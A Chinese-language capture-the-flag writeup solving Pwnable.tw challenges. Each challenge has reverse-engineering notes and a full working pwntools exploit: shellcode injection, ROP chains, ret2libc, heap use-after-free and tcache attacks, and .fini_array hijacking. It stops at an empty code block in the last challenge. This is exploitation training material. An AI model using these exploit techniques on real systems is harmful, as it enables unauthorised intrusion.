# Pwnable.tw 解題 writeup ###### tags: `資安-CTF`,`Pwn` [TOC] # Challenges ## Start [100 pts] ### Recon 先對下載的 start 進行觀察: `file start` ```shell start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped ``` `checksec start` ``` Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) ``` 因此 `chmod +x start` 並發現是一個可輸入的執行檔 ``` chmod +x start ./start Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [1] 516505 segmentation fault (core dumped) ./start ``` 輸入過長會發生 `segmentation fault` 接著丟到 `cutter` 中 ![](https://i.imgur.com/z1aIPbO.png) 觀察到: 1. 印出 `Let’s start the CTF:` 的地方 2. 使用 0x80 產生中斷 3. 0x08048097 int 0x80 執行 sys_read 且長度最長為 0x3c ![](https://i.imgur.com/eJ8c3SY.png) 因此思路為將 read 塞入超過的長度,覆蓋到 ret address 後,放入 shellcode 先 `pattern seach` 找出 ret 與 ESP ![](https://i.imgur.com/g6SiTdH.png) 並得知要加 0x14 到 ESP 時,覆蓋掉 EIP,之後再 ESP 指到 shellcode 因此 payload 應該長這樣: ```python= payload = b'A'*0x14 + p32(0x08048087) ``` 由於先前將 ESP + 0x14,覆蓋完後要找 ESP 位置: ```python= esp = u32(p.recv(4)) ``` 因為原先 exit 已被覆蓋掉,因此當程式重新回到 write 時,又多了第二次的 payload 準備好隨便一個 shell code: `\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80` 將第二次 payload 加入 shellcode ```python= padding + p32(esp+20) + shellcode ``` ### Write up ```python= from pwn import * r = remote('chall.pwnable.tw',10000) padding = b'A' * 0x14 payload = padding + p32(0x08048087) print(r.recvuntil(':')) r.send(payload) esp = u32(r.recv(4)) shellcode = b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" payload2 = padding + p32(esp+20) + shellcode r.send(payload2) r.interactive() # cat /home/start/flag # FLAG{Pwn4bl3_tW_1s_y0ur_st4rt} ``` ## orw [100 pts] ### Recon orw,顧名思義為 open/read/write 題目只能使用 open/read/write 讀出 flag 先使用 file 觀察看看,這次為 **dynamically linked**: `orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped` 接者使用 `checksec` 檢查,這次有開啟 **canary** 保護 ```shell Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` chmod +x orw && ./orw 發現直接讓我們輸入 shellcode: ``` Give my your shellcode: ``` 因此思路為構造一個 open flag &#8594; read flag &#8594; write flag 的 shellcode 即可。 以下直接使用 pwntools 的 shellcraft,就不自己打 asm ㄌ ### Write up ```python= from pwn import * r = remote('chall.pwnable.tw',10001) payload = shellcraft.i386.linux.open('/home/orw/flag', 0) payload += shellcraft.i386.linux.read(3, 'esp', 100) payload += shellcraft.i386.linux.write(1, 'esp', 100) r.sendafter('Give my your shellcode:', asm(payload)) r.interactive() # FLAG{sh3llc0ding_w1th_op3n_r34d_writ3} ``` ## calc [150 pts] ### Recon 稍微試一下: ![](https://i.imgur.com/Bq4qFHG.png) 直接丟 Ghidra 觀察 calc function ![](https://i.imgur.com/yYxVlYo.png) 觀察到: 1. 輸入的變數存在 `local_410` 長度限制為 0x400,並使用 `get_expr` 讀取 2. `parse_expr` 用來解析運算結果 3. 解析後的結果存放在 `results[local_5a4 - 1]` 跟進 `get_expr` 看,發現針對輸入進行白名單限制: ![](https://i.imgur.com/y7F9GWg.png) 跟進 `parse_expr`看,觀察到一些計算邏輯,並使用 eval 做計算 ![](https://i.imgur.com/LR9N1Ma.png) (只擷取部份) ``` 0x25: % 0x2a: * 0x2f: / 0x2b: + 0x2d: - source: https://www.barcodefaq.com/ascii-chart-char-set/ ``` 再跟進 eval 查看: ![](https://i.imgur.com/JlicaKj.png) 觀察到: 1. param_2 為運算符號, param_1 為輸入的所有數字 2. 先確定要運算的符號,取出 param_1 的**倒數兩個**數字 3. 再將結果存放在 param_1 的倒數**第二位** 於是這裡存在一個漏洞,當我們指輸入 +100 時,param_1[0]=1, param_1[1]=100 接著 +101+1 可以將 param_1[100] 處的值 +1,相當於在 stack 上任意寫入的能力 不過由於有前面發現 NX enable,因此需要使用 ROP 來 getshell #### ROP Chain pwntools 中字帶有 ROPgadget 這個酷酷的工具,如: ``` ROPgadget --binary calc --only "pop|ret" ``` 除了自己組 ROP chain 外,ROPgadget 也提供了產生 /bin/sh 的 ROP chain ``` ROPgadget --binary calc --ropchain ``` 有了 ROP chain 就只剩找 buffer padding 了 回到 ghidra,先從前面的 print results 來看: ![](https://i.imgur.com/aGQLR5S.png) 從這裡知道輸出是 `MOV EAX, [EBP + EAX]` 減 1 乘 4 加 `-0x59C` `EAX` 為 `EBP + -0x5A0` ![](https://i.imgur.com/hcTSpdX.png) 已知 pool 位置為 `EBP - 0x5A0`,因此計算 pool 到 `RET` 的位置為 `(0x5A0 + 4) / 4 = 361` ### Write up ```python= #!/usr/bin/env python3 from pwn import * from struct import pack context.log_level = 'DEBUG' # Padding goes here p = b'' p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x0805c34b) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec064) # @ .data + 4 p += pack('<I', 0x0805c34b) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d1) # pop ebx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080ec060) # padding without overwrite ebx p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x08049a21) # int 0x80 r = remote('chall.pwnable.tw', 10100) r.recv() for i in range(len(p) // 4): r.sendline('+' + str(361 + i)) recv = int(r.recv()) r.sendline('+' + str(361+i) + '-' + str(recv) + '+' + str(u32(p[(i) * 4:i * 4 + 4]))) r.recv() r.interactive() # FLAG{C:\Windows\System32\calc.exe} ``` ## dubblesort [200 pts] ### Recon 基本一樣先觀察一下 ![](https://i.imgur.com/6OhpVJJ.png) dynamically linked, 保護全開 亂試一下發現一個有趣的地方: ![](https://i.imgur.com/jB3vozu.png) 1. 當 name 輸入太長時,可以直接蓋到後面 2. 上一次 name 的輸入沒有清空 3. 數字可以輸入負數 4. 數字輸入字元會無窮迴圈 題目給了一個 libc.so,因此直接猜這題要 ret2libc,並繞過 canary 使用 gdb 執行起來: ![](https://i.imgur.com/SPQnSTW.png) 第一次名稱輸入使用 `read`,長度為 `0x40` ![](https://i.imgur.com/Iu3xXiE.png) ![](https://i.imgur.com/GvHhnLm.png) 後續的兩次數字輸入都使用 `scanf` #### leak libc 前面有發現到該程式是使用 dynamically linked,由於動態載入位置是會改變的,因此會透過 GOT 跟 PLT 來定位全域變數與執行時的狀態 為了找到 .got.plt 的 offset,可以透過 readelf 載入來查看 ``` $ readelf -S libc_32.so.6 [31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4 ``` 有了 offset 後,就可以透過 GOT 真實位置減去偏移量(0x1b0000)推算出 libc 位置 ![](https://i.imgur.com/7GHFFAu.png) 使用 gdb 搭配 read 的 leak address 找 GOT 的 address,即: `0xffffcd3c - 0xffffcd24 = 24` 也就是當輸入為 24 時,可以 leak libc 的 address 由於保存在 stack 上的 '\n' 會覆蓋掉 `0xf7ffd000` 的 `00`,因此最後 libc 的 address 需再減 0xa,即: `libc_address = libc_addr -0xa - got_plt_offset` #### bypass canary 除了可以暴力試看看總共可以輸入幾個數字並造成 stack smash: ![](https://i.imgur.com/xitILbz.png) 從 ghidra 中的 graph view 中觀察,輸入是從 0x1C 開始放入 ![](https://i.imgur.com/0T89hr2.png) 並塞到 0x7c ![](https://i.imgur.com/qUWll9o.png) 因此 `0x7c - 0x1c / 4 = 25`,也就是當第 25 個時會檢查 由於輸入使用了 `scanf("%u")`,所以只有 unsigned int 被接受 不過 '+' 或 '-' 也可以,並且保留 stack 的原本的值,並 bypass canary #### ret2libc 透過修改 ret,並指到 libc 中的 system 與 /bin/sh 後,就可以拿到 shell 了 pwntools 中就有 ELF 的工具: 找系統函數:`libc.sym["system"]` 找 gadget:`libc.search("/bin/sh")` ### Write up ```python= from pwn import * # context.log_level = 'debug' r = remote("chall.pwnable.tw", 10101) libc = ELF("libc_32.so.6") got_plt_offset = 0x1b0000 payload_1 = "a" * 24 r.recv() r.sendline(payload_1) leak_address = u32(r.recv()[30:34]) - 0xa libc_address = leak_address - got_plt_offset r.sendline(str(35)) for i in range(24): r.recvuntil("number : ") r.sendline(str(i)) r.recvuntil("number : ") r.sendline('+') system = libc.sym["system"] binsh = next(libc.search(b'/bin/sh')) for _ in range(9): r.recvuntil("number : ") r.sendline(str(system + libc_address)) r.recvuntil("number : ") r.sendline(str(binsh + libc_address)) r.interactive() # FLAG{Dubo_duBo_dub0_s0rttttttt} ``` ## hacknote [200 pts] ### Recon 基本先檢測一下,以及看一下程式功能 ![](https://i.imgur.com/ydq972U.png) 開啟 ghidra 分別看一下 `add_note`, `delete_note` 與 `print_note` `add_note`: ![](https://i.imgur.com/nOakmOq.png) 觀察到: 1. `malloc(8)` 空間 2. 前 4 bytes 為 `0x804862b` 這個 puts function 3. 後 4 bytes 為 note content `printe_note`: ![](https://i.imgur.com/gSBVIo7.png) 呼叫前面存放 puts 的 function 並印出 note content `delete_note`: ![](https://i.imgur.com/kMgQIxI.png) 刪除時會先 free 掉後 4 bytes 的 note content,再放掉前面的 puts function 因此大致上的思路為: 1. 由於前面 free 完後沒有清空 pointer,因此可以調用 pointer,即存在 UAF 漏洞 (Use After Free) 2. 利用 double free 將 pointer 指到 libc 中的 system, /bin/sh 3. 最後在透過 print_content 呼叫來 get shell double free: 即在兩次 free 後控制 fd,進而去控制一塊 memory ![](https://i.imgur.com/erI2dHH.png) 執行 free(b) 後,b 的 fd 指到 a,a 的 fd 直到 NULL 此時再 free(a),a 的 fd 就會指向 b ![](https://i.imgur.com/P5qAqXO.png) 由於 a 的 fd 改變並指向 b,由於尾部的 a 與前面的 a 是同一個,因此尾部 a 的 fd 也會跟著改變 而整個 double free 利用方式就是 free 完後 malloc(a),修改 a 中的 fd,使上圖最後一個 a 指向一個地址,並開闢 heap 的空間及寫資料 Reference: https://blog.csdn.net/F_Day_/article/details/120776218 ### Write up ```python= from pwn import * # context.log_level = 'debug' r = remote("chall.pwnable.tw", 10102) libc = ELF("libc_32.so.6") elf = ELF("./hacknote") def add_note(size, content): r.recvuntil("Your choice :") r.sendline('1') r.recvuntil("Note size :") r.sendline(str(size)) r.recvuntil("Content :") r.send(content) def delete_note(choice): r.recvuntil("Your choice :") r.sendline('2') r.recvuntil("Index :") r.sendline(str(choice)) def print_note(choice): r.recvuntil("Your choice :") r.sendline('3') r.recvuntil("Index :") r.sendline(str(choice)) add_note(0x20, 'a') add_note(0x20, 'a') # Double free delete_note(0) delete_note(1) add_note(0x8, p32(0x0804862B) + p32(elf.got['puts'])) print_note(0) libc_address = u32(r.recv(4)) - libc.sym['puts'] system = libc_address + libc.sym["system"] delete_note(2) add_note(0x8, p32(system) + b';sh;') print_note(0) r.interactive() # FLAG{Us3_aft3r_fl3333_in_h4ck_not3} ``` ## Death Note [250 pts] ### Recon ![](https://i.imgur.com/YJebHXc.png) 只開 Canary,沒提供 libc ![](https://i.imgur.com/0lWIVOu.png) 執行起來跟上題有點類似,有 add_name, show_name 跟 delete_name 先開啟 ghidra 觀察,先進入 main 觀看: ![](https://i.imgur.com/kLyRmci.png) 觀察到有 `menu()`, `show_note()`, `add_note()` 跟 `del_note()` 點開 `add_note()` 可以發現輸入的名稱必須為 printable ![](https://i.imgur.com/KVVMdsA.png) 因此整題的思路應該是將名稱塞入 shellcode(須為 printable shellcode) 在透過 show_name 開啟 一般的 shellcode 為: 1. EAX = 0x0b 2. EBX = /bin///sh 3. ECX = EDX = 0 4. 透過 int 0x80 來達成 system_call 不過 cd 80 (int 0x80) 不是 printable 因此需要利用 [Self-modifying](https://nets.ec/Shellcode/Self-modifying) 改掉 也就是在 shellcode 最後兩 bytes 放跟 0x53 與 0x70 xor 完後會等於 \xcd 與 \x80 的 bytes ### Write up ```python= from pwn import * debug = 0 elf = ELF('./death_note') p = remote('chall.pwnable.tw', 10201) shellcode = asm(''' /* Push /bin//sh */ push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx /* xor 0x53, 0x70 with 0x20 0x43 individually to get 0xcd and 0x80 */ push edx pop eax push 0x53 pop edx sub byte ptr [eax+39],dl sub byte ptr [eax+40],dl push 0x70 pop edx xor byte ptr [eax+40],dl /*set 0x0b to eax*/ push ecx pop eax xor al, 0x20 xor al, 0x2b /*set zero to edx*/ push ecx pop edx ''')+b'\x20\x43' print(shellcode) r.sendline('1') r.recvuntil('Index :') r.sendline('-16') r.recvuntil('Name :') r.sendline(shellcode) r.interactive() # FLAG{sh3llc0d3_is_s0_b34ut1ful} ``` ## Silver Bullet [200 pts] ### Recon 基本先檢測一下 ![](https://i.imgur.com/xXx2BP4.png) 由於 NX 有開啟,就先順便看一下有沒有 gadget 可用 實際跑起來: ![](https://i.imgur.com/qhGHgxL.png) 1. 可以新增子彈 2. 加強子彈 3. 攻擊怪物 4. 血量為 2^31-1 開啟 ghidra 觀察各個功能,從 main() 大概看到幾個功能: ![](https://i.imgur.com/mCBi32I.png) 1. create_bullet ![](https://i.imgur.com/NmGrgWP.png) 2. power_up ![](https://i.imgur.com/9GPLSrz.png) 3. beat ![](https://i.imgur.com/gww1S2B.png) 整個流程就是先透過輸入新的子彈描述,其長度為 0x30 接著可以增強子彈,增加子彈的部份一開始會先檢查是否小於 0x30, 否則不能再增加 然後透過 `strncat` 將減掉 0x30 後的輸入的長度與原本的結合 而攻擊怪獸的函數則是將子彈長度減掉 2^31 - 1,如果小於 1 則勝利,反之則失敗 而輸入函數的部份不是直接使用 read,而是另一個 read_input,read_input 中會把 '\n' 換成 0 ![](https://i.imgur.com/62Wt1Mb.png) 觀察每一個功能,產生子彈與攻擊怪獸的函數沒有什麼特別的點 不過增強子彈的地方使用了 `strncat()` `strncat()` 中,第一個參數 s1 指的是要被附加在後面的字串,第二個參數 s2 指的是要附加的字串,第三個參數 n 指的是要附加多少個 s2 字串中的字元到 s1 中 原文定義: Appends at most n characters of string s2 to string s1. The first character of s2 overwrites the terminating null character of s1. The value of s1 is returned. 不過這個功能存在著[風險](https://eklitzke.org/beware-of-strncpy-and-strncat) 原本的 strcat 其實就有存在 buffer overflow,而 strncat 同樣也有機會造成 buffer overflow。主因是 strncat 會在最後放一個 `\0`,而當 dest 不夠長時,就會發生 buffer overflow 用法比較: ```C= // OK: good so far char *buf = malloc(BUF_SIZE); strncpy(buf, default_value, BUF_SIZE - 1); // XXX: after this buf may not be null-terminated strncat(buf, another_buffer, BUF_SIZE - strlen(buf)); ``` 因此當我們重回 power_up 的 function: ```C ... 6: char local_38 [48]; ... 17: strncat(param_1,local_38,0x30 - *(int *)(param_1 + 48)) ``` 就可以發現第 17 行可能有漏洞可以利用 知道這件事之後我們先回到程式本身試試看: ``` +++++++++++++++++++++++++++ Silver Bullet +++++++++++++++++++++++++++ 1. Create a Silver Bullet 2. Power up Silver Bullet 3. Beat the Werewolf 4. Return +++++++++++++++++++++++++++ Your choice :1 Give me your description of bullet :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Your power is : 47 Good luck !! +++++++++++++++++++++++++++ Silver Bullet +++++++++++++++++++++++++++ 1. Create a Silver Bullet 2. Power up Silver Bullet 3. Beat the Werewolf 4. Return +++++++++++++++++++++++++++ Your choice :2 Give me your another description of bullet :B Your new power is : 1 Enjoy it ! +++++++++++++++++++++++++++ Silver Bullet +++++++++++++++++++++++++++ 1. Create a Silver Bullet 2. Power up Silver Bullet 3. Beat the Werewolf 4. Return +++++++++++++++++++++++++++ Your choice :2 Give me your another description of bullet :CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC Your new power is : 1128481584 Enjoy it ! ``` 從上面的測試知道,原先塞入了 47 個 'A' 再加上一個 'B' 後,總長度為 48 也就是 0x30 但在第二次加入時,卻還可以再加一次,這就是造成 buffer overflow 的地方 因此思路就是需要在 buffer overflow 的輸入中,塞入 rop chain 來 get shell 題目本身有提供 libc,透過第一步的測試已經發現有 one_gadget 可以使用,因此只要找出 libc 的 address 就可以使用 為了要找到 libc 位置,可以先覆蓋 return address 為 puts(),並利用 puts() 來印出 puts 在 GOT 的 offset,並藉此回推 libc 的 base address ### Write up ```python= from pwn import * # context(arch="amd64", os='linux', log_level='debug') elf = ELF('./silver_bullet') libc = ELF("./libc_32.so.6") r = remote('chall.pwnable.tw', 10103) def create(description): r.sendafter("Your choice :", '1') r.sendafter("Give me your description of bullet :", description) def power_up(description): r.sendafter("Your choice :", '2') r.sendafter("Give me your another description of bullet :", description) def beat(): r.sendafter("Your choice :", '3') create("A"*47) power_up("B") power_up(b'\xff' * 3 + p32(0x804b02c) + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])) beat() r.recvuntil("Oh ! You win !!\n") puts = u32(r.recv(4)) libc_base = puts - libc.sym['puts'] one_gadget = libc_base + 0x5f065 create("A"*47) power_up("B") power_up(b'\xff' * 3 + p32(0x804b02c)+p32(one_gadget)) beat() r.interactive() # FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld} ``` ## 3x17 [150 pts] ### Recon ~~3x17=51~~ 基本先檢測一下 ![](https://i.imgur.com/OC9cmJ6.png) 注意到 statically linked,通常包一大包都有 ropchain 可用 因此先 ROPgadget 一下,並確定有 ropchain 可用 另外發現他是有 stripped,因此分析會變得比較棘手 大致試一下功能,知道是給一個 addr 跟 data 輸入,且有長度限制 ![](https://i.imgur.com/BbwTpF4.png) 丟進 Ghidra 看看,搜尋 main 不意外的找不到 於是改搜尋執行會印出來的 addr ![](https://i.imgur.com/PFafols.png) 將原本的 function name 改成 main,然後看一下 entry: ![](https://i.imgur.com/deidkzr.png) 從這邊發現另外一個 function 去啟動 main,並帶上其他的 function 這裡 google 一下才知道原來有一個叫 `__libc_start_main` 的東西 根據[這篇](http://wen00072.github.io/blog/2015/02/14/main-linux-whos-going-to-call-in-c-language/)知道: 1. main 函數當作 function pointer 傳入\ 2. 其他的 callback function - init - fini - rtld_fini 因此對照改了一下: ![](https://i.imgur.com/K8QCiKx.png) 不過查了一下好像沒有太多可用的技巧 因此重新回 main 想看看思路 試著看一下 main 並改了一些名稱,發現到一個有趣的點 ![](https://i.imgur.com/1dyfUi8.png) 就如執行程式的一樣,我們可以在任意的位置輸入**一次**的資料,長度為 0x18 另外發現到 FUN_0044a3e0() 是 stack smashing 的 function,雖然一開始 checksec 沒有寫到有開啟 canary 於是到這裡思路就有了,原本就有可以寫一次的功能,是不是可以寫超過一次 原本的暫存器應該是沒辦法控制,不過如果不讓程式結束呢? 因此回到前面發現的 init 跟 fini 點開 fini 的 function: ![](https://i.imgur.com/R8WVamP.png) 點一下 PTR_FUN_00401b40,發現他有調用一個 .init_array 再往下滑有另一個 .fini_array 在繼續 google 一下這兩個 array,知道他們是拿來存放初始化程式與結束程式時的 function pointer 然後就查到一堆 .fini_array 挾持的資料了XD 觀察一下 fini 的 decompiled code,可以發現他是從 .fini_array[1] 取值,取完之後 -1,當減到 -1 時跳出 do-while 因此當 .fini_array[1] 為 main(),.fini_array[0] 指到控制 fini (0x402960) 時,就會形成無限呼叫 main(),並達到無限寫入任意地址的功能 ### Write up ```python= from pwn import * # context(arch="amd64", os='linux', log_level='debug') r = remote("chall.pwnable.tw", 10105) bin_sh = 0x4ba9f0 pop_rax = 0x41e4af pop_rdx = 0x446e35 pop_rsi = 0x406c30 pop_rdi = 0x401696 syscall = 0x471db5 main_func = 0x401B6D fini_array = 0x4B40F0 fini_func = 0x402960 main_ret = 0x401C4B esp = 0x4B4100 def send(addr, data): r.recv() r.send(str(addr)) r.recv() r.send(data) send(fini_array, p64(fini_func) + p64(main_func)) # place fini function and main function in fini_array send(bin_sh, p64(0x68732f6e69622f)) # place '/bin/sh' in redundant address send(esp, p64(pop_rax) + p64(0x3b)) # call execve() send(esp+16, p64(pop_rdi) + p64(bin_sh)) # execve('/bin/sh') send(esp+32, p64(pop_rsi) + p64(0)) # set rsi = 0 send(esp+48, p64(pop_rdx) + p64(0)) # set rdx = 0 send(esp+64, p64(syscall)) send(fini_array, p64(main_ret)) # call main function return r.interactive() # cat /home/3x17/flag/the_4ns_is_51_fl4g # FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit} ``` ## applestore ### Recon ![](https://i.imgur.com/D8ZwxyQ.png) 用 Ghidra 觀察比較主要的 handler 這個 function 總共提供幾個功能: 1. list() 2. add() 3. delete() 4. cart() 5. checkout() add 先 create 在 insert 到 myCart 中 ![](https://i.imgur.com/cikqSJX.png) ![](https://i.imgur.com/jFxAcpO.png) 而 myCart 同時也被 delete 維護 ![](https://i.imgur.com/Tkf3H4s.png) ![](https://i.imgur.com/G34QenA.png) cart 中則是將 myCart 中內容物印出 ![](https://i.imgur.com/ff7uaUE.png) checkout 則會在當總金額為 7174 時,在 stack 中插入一個 1 元的 iPhone 8 ![](https://i.imgur.com/oCJXAkt.png) 因此整體的利用流程應該是: 1. 由於 checkout 會在總金額達到 7174 時被插到 stack 中,且位置是直接只用 ebp - 0x2c,而非使用 handler 去操作。因此只要確定 iPhone 8 的這個位置可以被 add/delete 竄改就可以了。如 delete: ![](https://i.imgur.com/4HkTMSW.png) 2. Leak libc base address 可以透過在 cart 多加一塊 stack (index=27) 時塞 read@GOT,在計算 offset 就可以知道 libc base address - 利用在 delete 中 atoi 的位置(EBP - 0x22) 位在 stack 的 index 26,位在 EBP - 0x20 便會在 index 27 (stack 由下往上長) - ![](https://i.imgur.com/MerYNSQ.png) 4. 有了 libc 位置後,就要來找 EBP 來控制。libc 中有一個 environ pointer,指向 delete 的 address 且有固定的 offset ### Write up ```python= from pwn import * r = remote('chall.pwnable.tw', 10104) elf = ELF('./applestore') libc = ELF('./libc_32.so.6') def add(device): r.sendafter('>', '2') r.sendafter("Device Number>", device) def checkout(): r.sendafter('>', '5') r.sendafter('(y/n) >', 'y') def cart(payload): r.sendafter('>', '4') r.sendafter('(y/n) >', payload) def delete(idx): r.sendafter('>', '3') r.sendafter('Item Number>', idx) def payload(addr): return b'y\x00' + p32(addr) + p32(0) + p32(0) + p32(0) # 7174 for i in range(20): add('2') for i in range(6): add('1') checkout() cart(payload(elf.got['puts'])) r.recvuntil('27: ') puts_addr = u32(r.read(4)) puts_got = libc.sym['puts'] libc.address = puts_addr - puts_got cart(payload(libc.sym['environ'])) r.recvuntil('27: ') environ_addr = u32(r.read(4)) ebp_addr = environ_addr - 0x104 atoi_got = elf.got['atoi'] delete(b'27' + p32(atoi_got) + p32(0) + p32(ebp_addr - 0xc) + p32(atoi_got + 0x22)) r.sendafter(b'>', p32(libc.symbols['system']) + b';/bin/sh;') r.interactive() # FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8} ``` ## Tcache Tear ### Recon ![](https://i.imgur.com/LqzbS0h.png) ![](https://i.imgur.com/citL6vX.png) Heap Exploitation: https://ithelp.ithome.com.tw/articles/10224339 TCACHE: Ubuntu 17.10 (glibc 2.26) 以上才有的優化機制 https://ithelp.ithome.com.tw/articles/10201434 第一個是 tcache_get 其實可以直接把它看成是用在 tcache 的 malloc 第二個是 tcache_put 其實可以直接把它看成是用在 tcache 的 free 由於函數名稱都已經被拿掉了,因此先透過程式碼找出 main 與其他 functions FUN_0040bc7 -> main FUN_00400a2 -> read FUN_00400a9c -> menu FUN_004009c4 -> read_option FUN_00400b14 -> malloc FUN_00400b99 -> info 由於 main 的 function 中的 free 完後沒有清零,因此存在 UAF: ![](https://i.imgur.com/GjpU3Cs.png) 這題的重點在於 [tcache attack](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/) #### tcache dup 由於 tcache 對 chunk 的檢查非常不嚴謹,可以連續 free 兩次同一個 chunk,接下來兩次 malloc 就會拿到還在 freed list 的 chunk,形成 cycliced list,造成 UAF 的問題 有了 double free 的漏洞後,就可以透過 malloc 在任意地址寫入 如前面 hackernote 的 UAF 一樣,接下來就要找出 libc 位置,並構造出 shellcode #### tcache_house_of_spirit 原理跟 House of Spirit 相同,但不是用在 fastbin 而是 tcache 上,由於 tcache 的檢查更少,甚至不需要偽造 next chunk 在任意 segment 上偽造 chunk 之後丟進 freed list,之後 malloc 就會拿到偽造的 chunk Crafting chunks 1. 利用任意地址寫,在 bss 段構造大小超出 0x408 的 fake chunk 2. free 掉,使其進入 unsorted bin 中 3. 利用 info 函數,讀取其內容即可 由於我們可以自由執行 free 函數,因此將 `__free_hook` 劫持到 one gadget 完成 ROP ![](https://i.imgur.com/T6IN6uH.png) ```python= arby_write(0x50, name_bss+0x500, (p64(0)+p64(0x21)+p64(0)*2)*2) arby_write(0x60, name_bss+0x10, 'a') free() get_info() r.recvuntil("Name :") r.recv(0x10) libc_base = u64(r.recv(8)) ``` 接著開啟 gdb> info proc mapping ![](https://i.imgur.com/HAvlWBZ.png) 相減得到 libc offset 為 0x3ebca0 ### Write up ```python= from pwn import * context(arch='amd64', os='linux', log_level='debug') elf = ELF('./tcache_tear') libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so') r = remote("chall.pwnable.tw", 10207) def init(address): r.sendafter('Name:', address) def malloc(size, data): r.sendafter(' :', '1') r.sendafter('Size:', str(size)) r.sendafter('Data:', data) def free(): r.sendafter(' :', '2') def arby_write(size, address, data): malloc(size, "AAAAAAAA") free() free() malloc(size, p64(address)) malloc(size, 'something') malloc(size, data) def get_info(): r.sendafter(' :', '3') name_bss = 0x602060 init(p64(0)+p64(0x501)) arby_write(0x50, name_bss+0x500, (p64(0)+p64(0x21)+p64(0)*2)*2) arby_write(0x60, name_bss+0x10, 'a') free() get_info() r.recvuntil("Name :") r.recv(0x10) libc_base = u64(r.recv(8)) - 0x3ebca0 libc.address = libc_base one_gadget = libc_base + 0x4f322 arby_write(0x70, libc.sym['__free_hook'], p64(one_gadget)) free() r.interactive() # FLAG{tc4ch3_1s_34sy_f0r_y0u} ``` ## seethefile ### Recon ![](https://i.imgur.com/WQcAJsr.png) ![](https://i.imgur.com/A5MqzTN.png) ![](https://i.imgur.com/GWUs6pU.png) ![](https://i.imgur.com/jiOKzle.png) 功能: 1. 讀檔 2. 不能讀 flag 3. name 過常會造成 segmentation fault 開啟 ghidra ![](https://i.imgur.com/H6u9Dmr.png) ![](https://i.imgur.com/LF9esVD.png) ![](https://i.imgur.com/Kea3Uik.png) 一如原先測試,由於 `__isoc99_scanf("%s", &name);` 沒有設定長度,因此當輸入的 name 過長時可以覆蓋掉位在 .bss 段後面的 fp,而 fp 又剛好被 `fclose` 所使用,並造成 segmentation fault 由於最後要利用的 function 是 fclose,且為了使 fclose 壞掉,需要構造一個可以正常被 fclose 的 file structure,並放入 ;/bin/sh; 後將 file 的 [vtable](https://medium.com/theskyisblue/c-%E4%B8%AD%E9%97%9C%E6%96%BC-virtual-%E7%9A%84%E5%85%A9%E4%B8%89%E4%BA%8B-1b4e2a2dc373) 的 pointer 指到 `__finish(system)` 來完成 get shell 要知道 system 在 memory 的位置,就必須知道 libc 的 base address。由於這題可以直接讀檔案,因此可以透過它自己開啟 `/proc/self/maps`,如同在 gdb 查看 info proc mapping 一樣,找出 libc 的位置 使用 `readfile /proc/self/maps -> writefile -> writefile` ![](https://i.imgur.com/0S5NKYv.png) 查看 [glibc/ioclose](https://github.com/lattera/glibc/blob/master/libio/iofclose.c#L52) ![](https://i.imgur.com/iRqsnCD.png) 當 `_flags` & `_IO_IS_FILEBUF` 為 0 時,就會直接調用 `_IO_FINSH(fp)` 相當於 `fp -> vtable -> _finish(fp)` 而根據 [libio.h](https://github.com/lattera/glibc/blob/master/libio/libio.h#L86) 的定義: ```c _IO_IS_FILEBUF 0x2000 ``` 由於 `hex(0xffffffff - 0x2000) = 0xffffdfff` 因此將 `_flags` 設為 `0xffffdfff` 因此建構 file structure 為: ```python= 